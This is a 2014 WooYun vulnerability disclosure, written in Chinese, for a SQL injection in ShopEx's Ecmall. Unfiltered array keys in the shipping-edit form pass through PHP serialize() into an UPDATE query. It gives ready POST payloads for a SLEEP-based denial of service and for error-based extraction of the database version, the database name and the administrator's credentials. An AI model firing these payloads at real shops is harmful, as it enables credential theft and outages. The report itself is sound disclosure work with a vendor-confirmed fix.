当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(14) 关注此漏洞

缺陷编号: WooYun-2014-65284

漏洞标题: Ecmall SQL Injection 2

相关厂商: ShopEx

漏洞作者: HackBraid认证白帽子

提交时间: 2014-06-17 18:08

公开时间: 2014-09-15 18:10

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 sql注射漏洞利用技巧 php源码分析 白盒测试

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-17: 细节已通知厂商并且等待厂商处理中
2014-06-18: 厂商已经确认,细节仅向厂商公开
2014-06-21: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-12: 细节向核心白帽子及相关领域专家公开
2014-08-22: 细节向普通白帽子公开
2014-09-01: 细节向实习白帽子公开
2014-09-15: 细节向公众公开

简要描述:

我认识的白帽子都是善良的,不会因为http://www.wooyun.org/bugs/wooyun-2014-064371放弃治疗厂商的。

详细说明:

记一次对serialize函数的旅行~

code 区域
0x01:环境配置



1.wamp+ecmall;

2.注册账户***,并成为商家;

3.在配送方式管理上添加一个配送方式。

code 区域
0x02:漏洞函数介绍



php的serialize函数,我们看它处理数组后的数据格式:

array[abcdefg]=v;

$m = serialize($array);

输出m:

a:1:{s:7:”abcdefg”;s:1:”v”;}

a表示数组格式,1表示元素个数,s:7:”abcdefg”;中s暂时不用管,7是”abcdefg”的长度。同理,s:1:”v”;中1是”v”的长度。

漏洞证明:

code 区域
0x03:漏洞发现过程



问题出现在app/my_shipping.app.php下edit()函数:

code 区域
/**
* 编辑配送方式
*
* @author Garbin
* @return void
*/
function edit()
{
$shipping_id = isset($_GET['shipping_id']) ? intval($_GET['shipping_id']) : 0;
if (!$shipping_id)
{
echo Lang::get('no_such_shipping');

return;
}

/* 判断是否是自己的 */
$model_shipping =& m('shipping');
$shipping = $model_shipping->get("store_id=" . $this->visitor->get('manage_store') . " AND shipping_id={$shipping_id}");
if (!$shipping)
{
echo Lang::get('no_such_shipping');

return;
}
if (!IS_POST)
{
/* 当前位置 */
$this->_curlocal(LANG::get('member_center'), 'index.php?app=member',
LANG::get('my_shipping'), 'index.php?app=my_shipping',
LANG::get('edit_shipping'));

/* 当前用户中心菜单 */
$this->_curitem('my_shipping');

/* 当前所处子菜单 */
$this->_curmenu('edit_shipping');

$this->_get_regions();

$cod_regions = unserialize($shipping['cod_regions']);
!$cod_regions && $cod_regions = array();

$this->assign('shipping', $shipping);
$this->assign('cod_regions', $cod_regions);
$this->assign('yes_or_no', array(1 => Lang::get('yes'), 0 => Lang::get('no')));
$this->import_resource('mlselection.js, jquery.plugins/jquery.validate.js');
header("Content-Type:text/html;charset=" . CHARSET);
$this->display('my_shipping.form.html');
}
else //来到else函数,也就是POST提交
{
$data = array(
'shipping_name' => $_POST['shipping_name'],
'shipping_desc' => $_POST['shipping_desc'],
'first_price' => $_POST['first_price'],
'step_price' => $_POST['step_price'],
'enabled' => $_POST['enabled'],
'sort_order' => $_POST['sort_order'],
);
$cod_regions = empty($_POST['cod_regions']) ? array() : $_POST['cod_regions'];
foreach($cod_regions as $key=>$value)
echo $key."=>".$value;
$data['cod_regions'] = serialize($cod_regions);//出现在这里,serialize序列化$cod_regions(数组)
$model_shipping =& m('shipping');
$model_shipping->edit($shipping_id, $data);//data数组被带入edit函数,我们跟进
if ($model_shipping->has_error())
{
//$this->show_warning($model_shipping->get_error());
$msg = $model_shipping->get_error();
$this->pop_warning($msg['msg']);
return;
}
$this->pop_warning('ok', 'my_shipping_edit');
}
}



进入到/eccore/model/model.base.php,跟进data数组在edit函数下的处理过程:

code 区域
/**
* 简化更新操作
*
* @author Garbin
* @param array $edit_data
* @param mixed $conditions
* @return bool
*/
function edit($conditions, $edit_data)
{
if (empty($edit_data))
{
return false;
}
$edit_data = $this->_valid($edit_data);
if (!$edit_data)
{
return false;
}
$edit_fields = $this->_getSetFields($edit_data);//设置查询字段为key=>value格式,并逗号隔开返回;
$conditions = $this->_getConditions($conditions, false);//设置最后的where查询条件,指定配送的id,并返回
$this->db->query("UPDATE {$this->table} SET {$edit_fields}{$conditions}");

return $this->db->affected_rows();

}



说明:_getSetFields和_getConditions函数均在/eccore/model/model.base.php下。

code 区域
0x04:可利用的exp



看到上述分析大家可能觉得也就是那么简单,其实到最后的exp构造上还是费了劲的,可能我的mysql还是没学好,大牛勿喷啊。

先说下我失败的exp:

http://localhost/ecmall/index.php?app=my_shipping&act=edit&shipping_id=21/*21是我要编辑的配送方式。*/

POST请求:(后面的exp均是post数据)

code 区域
shipping_name=li&shipping_desc=asd&irst_price=10&step_price=0&enabled=1&sort_order=255&cod_regions[1',shipping_name=(select password from ecm_member limit 1)#]=x



这个最终的查询语句是这样的:

UPDATE ecm_shipping SET shipping_name='li',shipping_desc='asd',first_price='',step_price='0',enabled='1',sort_order='255',cod_regions='a:0:{}' WHERE shipping_id = 21

很明显cod_regions被置空了,难道是全局过滤?全局过滤没有过滤key的啊,再看看我的exp,发现cod_regions[1',shipping_name=(select password from ecm_member limit 1)#]=x中”shipping_name=”已经出现一个”=”号,所以cod_regions就没能赋值成功。

code 区域
1.拒绝服务payload:
shipping_name=li&shipping_desc=asd&irst_price=10&step_price=0&enabled=1&sort_order=255&cod_regions[1' or SLEEP(10)#]=x



对应的更新语句:

UPDATE ecm_shipping SET shipping_name='li',shipping_desc='asd',first_price='',step_price='0',enabled='1',sort_order='255',cod_regions='a:1:{s:16:"1' or SLEEP(10)#";s:1:"x";}' WHERE shipping_id = 21

code 区域
2.获取mysql版本:
shipping_name=li&shipping_desc=asd&irst_price=10&step_price=0&enabled=1&sort_order=255&cod_regions[1'or updatexml(2,concat(0x7e,(version())),0)#]=v



对应的更新语句:

UPDATE ecm_shipping SET shipping_name='li',shipping_desc='asd',first_price='',step_price='0',enabled='1',sort_order='255',cod_regions='a:1:{s:45:"1'or updatexml(2,concat(0x7e,(version())),0)#";s:1:"v";}' WHERE shipping_id = 21

效果:

ec1.jpg



code 区域
3.获取数据库名:
shipping_name=li&shipping_desc=asd&irst_price=10&step_price=0&enabled=1&sort_order=255&cod_regions[1' or extractvalue(1,concat(0x7e,database()))#]=v



效果:

ec2.jpg



code 区域
4.获取管理员账户密码:



code 区域
shipping_name=li&shipping_desc=asd&irst_price=10&step_price=0&enabled=1&sort_order=255&cod_regions[1'or (SELECT 1 FROM(SELECT count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))x from information_schema.tables group by x)a)#]=v



效果:

ec3.jpg

修复方案:

嗯,收获还是蛮多的,坚持就是胜利!

接收cod_regions参数后对key进行危险字符过滤即可

版权声明:转载请注明来源 HackBraid@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-06-18 08:42

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-07-21 17:10 | 从容 ( 普通白帽子 | Rank:359 漏洞数:94 | Enjoy Hacking Just Because It's Fun | ...)
    1

    卧槽,牛逼

  2. 2014-07-30 00:11 | 夜鸣猪 ( 实习白帽子 | Rank:32 漏洞数:6 | 介绍你妹啊)
    0

    很叼,佩服

登录后才能发表评论,请先 登录